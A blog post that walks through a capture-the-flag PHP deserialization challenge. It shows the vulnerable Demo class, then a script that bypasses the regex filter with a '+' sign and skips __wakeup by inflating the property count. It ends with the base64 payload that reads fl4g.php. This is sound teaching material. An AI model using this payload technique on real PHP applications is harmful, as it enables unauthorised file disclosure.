攻防世界之Web_php_unserialize
题目:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
======================================================================================
解题思路:
对Demo这个类进行序列化,base64加密之后,赋值给var变量进行get传参就行了
在类Demo中有一个私有变量,三个方法分别是一个构造,一个析构,还有就是一个魔术方法。
构造函数__construct()在程序执行开始的时候对变量进行赋初值。
析构函数__destruct(),在对象所在函数执行完成之后,会自动调用,这里就会高亮显示出文件。
在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过。
======================================================================================
解答过程:代码在线运行工具https://tool.lu/coderunner/
<?php
class Demo {
private $file = 'index.php';
//protected $file1 = 'index.php';
public function __construct($file) {
$this->file = $file;
//$this->file1 = $file1;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a = new Demo("fl4g.php"); // 创建一个对象
echo serialize($a)."\n"; // 序列化
//O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
$b = serialize($a);
$b = str_replace('O:4','O:+4',$b); // 使用+号绕过preg_match()正则匹配
echo $b."\n"; //
$b = str_replace(':1:',':2:',$b); // 当成员属性数目大于实际数目时可绕过wakeup方法
echo $b."\n";
echo base64_encode($b);
// 答案:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
?>
在url中加入:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
得到flag如下图:
=======================================================================================
总结:
1.进行代码审计,发现为反序列,如果一个类定义了wakup()和destruct(),则该类的实例被反序列化时,会自动调用wakeup(), 生命周期结束时,则调用desturct()。
2.在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过。
3.通过+号可以绕过正则匹配preg_match
()
posted on 2022-02-19 18:39 shacker_shen 阅读(204) 评论(0) 编辑 收藏 举报